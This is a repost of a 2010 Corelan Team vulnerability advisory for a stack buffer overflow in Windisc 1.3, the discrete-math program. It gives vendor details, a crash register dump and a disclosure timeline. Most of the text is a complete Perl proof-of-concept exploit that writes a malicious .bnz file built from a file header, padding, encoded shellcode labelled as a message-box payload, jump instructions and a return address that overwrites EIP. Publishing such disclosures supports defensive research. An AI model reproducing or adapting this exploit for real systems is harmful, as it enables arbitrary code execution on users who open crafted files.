Windisc version 1.3 Stack Buffer Overflow Vulnerability
|
来源:http://www.corelan.be:8800 作者:Rick2600 发布时间:2010-03-18
|
|
======================================================= Windisc version 1.3 Stack Buffer Overflow Vulnerability =======================================================
0x00 : Vulnerability information -------------------------------- [*] Product : Windisc [*] Version : 1.3 [*] Vendor : RParris [*] URL : http://math.exeter.edu/rparris/windisc.html [*] Platform : Windows [*] Type of vulnerability : Stack Buffer overflow [*] Risk rating : Medium [*] Issue fixed in version : Unknown [*] Vulnerability discovered by : Rick2600 [*] Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/ 0x01 : Vendor description of software ------------------------------------- From the vendor website: Windisc is a collection of subprograms that deal with discrete-math topics such as apportionment, voting power, voting methods, and network analysis (traveling salesman problem, map-coloring, etc). 0x02 : Vulnerability details ---------------------------- In order to trigger the vulnerability a user needs to load a crafted Banzhaf (.bnz) file. EAX 00A193BC ECX 0000000B EDX 00A193BC EBX 00A16638 ESP 0012F778 ASCII "AAAAAAAAAAAAAAAAAA..." EBP 41414141 ESI 00A4D158 EDI 0000000C EIP 41414141 0x03 : Vendor communication --------------------------- [*] Feb 15 2010: Author contacted (no replies) [*] Mar 08 2010: Vulnerability disclosed 0x04 : Exploit/PoC ------------------ Note : you are not allowed to edit/modify this code. If you do, Corelan cannot be held responsible for any damages this may cause. print "|------------------------------------------------------------------|\n"; print "| __ __ |\n"; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n"; print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n"; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n"; print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n"; print "| |\n"; print "| http://www.corelan.be:8800 |\n"; print "| |\n"; print "|-------------------------------------------------[ EIP Hunters ]--|\n\n"; print "[+] PEAnut Discrete Math Package Exploit\n"; my $sploitfile="windisc_poc.bnz"; my $header= "\x77\x03\x00\x00\x03\x00\x00\x00\x36\x00\x00\x00\x3b\x00\x00\x00". "\x50\x03\x00\x00\x3c\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". "\x3d\x00\x00\x00\xd9\xff\xff\xff\x2c\x01\x00\x00\x64\x00\x00\x00". "\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00". "\x0f\x00\x00\x00\x2b\xd0\x28\x01\x49\x1e\x29\x01\x00\x00\x00\x00". "\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x08\x00\x00\x00". "\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00". "\x0a\x00\x00\x00\x0a\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00". "\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08\x02\x01\x31". "\x53\x79\x6d\x62\x6f\x6c\x00\x20\x4e\x65\x77\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72". "\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xff\xff\xff". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00". "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20". "\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00". "\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x02". "\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72". "\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00". "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20". "\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00". "\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31". "\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74\x49\x00". "\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74\x49". "\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74". "\x49\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91". "\x74\x49\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x13\x00\x13\x00". "\x13\x00\x13\x00\x13\x00\x13\x00\x13\x00\x04\x00\x00\x00\x06\x00". "\x13\x00\x13\x00\x13\x00\x13\x00\x13\x00\x00\x00\x00\x00\xff\xff". "\xff\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\x00\xbf". "\x3f\x00\x00\x00\xff\x00\x00\x7f\x7f\x00\xff\x7f\x00\x00\xff\x00". "\x7f\x00\xa0\x2f\x00\x00\x00\xff\xff\x00\xbf\xbf\x7f\x00\x7f\x00". "\x7f\x00\x20\xff\x00\x00\xff\x7f\x7f\x00\x87\x87\x00\x00\x00\x3c". "\xa0\x00\xe0\xe0\xe0\x00\xc0\xc0\xc0\x00\xa0\xa0\xa0\x00\x80\x80". "\x80\x00\x60\x60\x60\x00\x40\x40\x40\x00\xbf\x00\x3f\x00\x7e\xde". "\xff\x00\xff\xcc\xcc\x00\xff\x7e\xde\x00\xff\xde\x7e\x00\xde\xff". "\x7e\x00\x7e\xff\xde\x00\xff\xff\xbf\x00\xff\xbf\xff\x00\xbf\xff". "\xff\x00\xff\xff\xde\x00\xff\xde\xff\x00\xde\xff\xff\x00\xb1\xde". "\xd4\x00\xb1\xd4\xde\x00\xd4\xb1\xde\x00\xd4\xde\xb1\x00\xde\xb1". "\xd4\x00\xde\xd4\xb1\x00\xbf\xf1\xde\x00\xbf\xde\xf1\x00\xde\xf1". "\xbf\x00\xde\xbf\xf1\x00\xf1\xde\xbf\x00\xf1\xbf\xde\x00\xff\x96". "\xea\x00\x96\xea\xff\x00\xcc\xcc\xcc\x00\xc8\x70\x00\x00\xde\xcd". "\x00\x00\xde\x68\x20\x00\x14\x82\x28\x00\xc0\x00\xa0\x00\xd4\x28". "\x28\x00\x50\x84\xb0\x00\x64\xa0\xc8\x00\x14\x64\x14\x00\x0c\x00". "\x00\x00\x07\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00". "\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xb1\x00\x00\x00\x05\x00". "\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x16\x00\x00\x00\x2f\x00". "\x00\x00\x24\x00\x00\x00\x1e\x00\x00\x00\x24\x00\x00\x00\x2d\x00". "\x00\x00\x20\x00\x00\x00\x23\x00\x00\x00\x11\x00\x00\x00\x1f\x00". "\x00\x00\x0b\x00\x00\x00\x07\x00"; #MsgBox Corelan Team my $shellcode= "\x2b\xc9\xdb\xca\xb1\x4b\xd9\x74\x24\xf4\x5a\xbf\xc8\xac" . "\x87\x72\x31\x7a\x16\x83\xea\xfc\x03\x7a\xda\x4e\x72\x24" . "\xeb\x4e\x4c\x12\xb8\x7f\xcb\x2f\xbd\xf4\x53\x3c\x4a\x4a" . "\x40\x6c\x12\xc0\x6e\xdc\xf4\x5d\x68\x57\x48\x72\x2b\x8e" . "\xda\x72\xd3\x50\xba\xf9\xbf\x74\x1e\x75\x7a\x49\xd5\xdd" . "\x80\xc9\xe8\x37\x01\x63\xf2\x4c\x4c\x54\x03\xb8\x92\xa3" . "\x4a\xb5\x61\x47\x4d\x27\xb8\xa8\x7c\x77\x47\xfa\xfa\xb7" . "\xcc\x09\xc3\xf7\x20\x0f\x04\xee\xca\xf0\x75\x0e\x17\x73" . "\xad\xd9\x1d\x55\x26\x43\xfa\x68\xd3\x12\x89\x67\x68\x50" . "\xd7\x6b\x6f\x8d\x63\x97\xe4\x50\x9c\x11\xbe\x76\x40\x43" . "\xfd\xda\x28\xd1\xe9\x82\x36\x2a\x16\x45\xcf\x54\x2c\x5e" . "\xd0\x56\xac\xde\x17\x52\xac\xe0\x97\x62\x62\x95\x71\x57" . "\x92\x10\x7e\x58\x62\xe8\x0d\x3d\x10\x21\xc0\x93\xb0\x29" . "\x48\xec\xd0\x92\x90\xec\x20\x5d\xde\xe2\xcc\x1f\x07\x18" . "\x7f\x08\x84\xdd\x7f\xc8\x43\x7f\x32\x74\x12\x6c\xc4\x84" . "\x15\x6d\x5d\x61\x9c\xaf\xb4\xb1\x60\xd0\xb9\x18\x12\x52" . "\x41\x2c\xdd\x2c\x88\x26\x1e\x2f\x0a\xdf\x81\xd0\xf5\xe0" . "\x57\x9b\xf6\xe0\x57\x1b\x5d\x1b\x21\x26\xb4\xeb\xce\x58" . "\xb9\xb2\x9d\xf7\x17\xa3\xe8\x08\x68\xcc\xfc\xe2\x96\x33" . "\xff\x57\x7f\x29\xff\x67\x7f\x17\xce\xb5\x2d\xf4\x61\x68" . "\x2e\x2a\xb0\x4c\x80\x34\xe6\x44\xc8\x2d\xf6\xaa\xf7\xe2" . "\x7e\x3b\x62\x67\x81\x2b\x8d\x98\x7e\x54\x0e\x08\xf3\xce" . "\xfc\xb7\x9d\x30\xa8\x52\x03\x5c\x70\xed\xb4\xf0\x15\x69" . "\x3b\x07"; print "[+] Preparing payload\n"; my $payload = $header; $payload .= "A" x 300; $payload .= $shellcode; $payload .= "B" x (772 - length($shellcode)); $payload .= "\xE9\xB9\xFC\xFF\xFF"; $payload .= "\xEB\xF9\x90\x90"; $payload .= pack("V", 0x00405437); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); binmode (FILE); print FILE $payload; close(FILE); print "[+] Wrote ".length($payload)." bytes to file $sploitfile\n";
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|